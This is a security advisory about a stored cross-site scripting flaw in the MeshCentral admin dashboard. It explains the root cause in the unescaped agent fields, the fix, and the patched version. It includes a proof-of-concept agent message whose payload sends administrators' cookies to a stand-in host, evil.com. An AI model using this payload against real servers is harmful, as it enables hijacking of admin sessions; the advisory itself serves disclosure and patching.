MeshCentral Stored XSS via Unsanitized Agent Fields
A rogue or compromised MeshAgent can inject arbitrary JavaScript into the MeshCentral admin dashboard by sending malicious HTML in its OS description field, potentially giving attackers full control…

The problem
MeshCentral accepts agent-supplied metadata (osdesc, node name, volume labels, thermal sensor names) over WebSocket and stores it in the database with no HTML sanitization. The server-side check in meshagent.js only confirms the value is a string.
When an admin opens the device details panel, default3.handlebars renders node.osdesc via addDeviceAttribute(), which sets innerHTML directly. The management UI CSP allows 'unsafe-inline', so injected event handlers execute without restriction. The same field IS escaped in two other UI locations, making this a missed case rather than a design choice.
Proof of concept
A working proof-of-concept for this issue in meshcentral, with the exact payload below.
// Rogue agent sends this JSON over the agent WebSocket (agent.ashx)
{
"action": "coreinfo",
"osdesc": "<img src=x onerror='fetch(\"https://evil.com/steal?\"+document.cookie)'>",
"name": "Legit-PC"
}
// Fires automatically when any admin views the device details panel.
// No click required. Runs in the admin origin with full API access.The root cause is a missing EscapeHtml() call in default3.handlebars at line 8713. The advisory shows that node.osdesc is already escaped at lines 13529 and 5760, so the patch simply adds the same wrapper to the one missed rendering path: addDeviceAttribute("Operating System", EscapeHtml(node.osdesc)).
Because the management UI CSP includes 'unsafe-inline' (webserver.js:7072), there is no second layer of defense. An attacker who can register or impersonate any managed endpoint (even a low-privilege local user who can read MeshAgent.msh on disk) can trigger admin-level JavaScript execution with no user interaction beyond the admin loading the device panel.
Additional unescaped fields (node.name in sharing and permission dialogs, cpuinfo.thermals[].InstanceName, volumes[].name) follow the same pattern and are also addressed in the patch.
The fix
Update meshcentral to 1.1.60 or later (the canonical fixed release is 1.2.0, which is identical to the mistaken 1.1.60 tag). The patch (PR #7823) wraps all unescaped agent-supplied fields in EscapeHtml() before they reach innerHTML. No configuration workaround exists for unpatched versions.
Reported by kevthehermit.
Related research
- highCVE-2026-69192CVE-2026-69192: ip-address Address4 Leading-Zero Octet SSRF Bypass
- highCVE-2026-55100CVE-2026-55100: hashi-vault-js Path Traversal and Query Parameter Injection
- high · 8.3CVE-2026-54661CVE-2026-54661: swagger-typescript-api Axios HTTP Client Code Injection via servers[0].url
- high · 8.3CVE-2026-54664CVE-2026-54664: swagger-typescript-api Code Injection via Unescaped Enum Values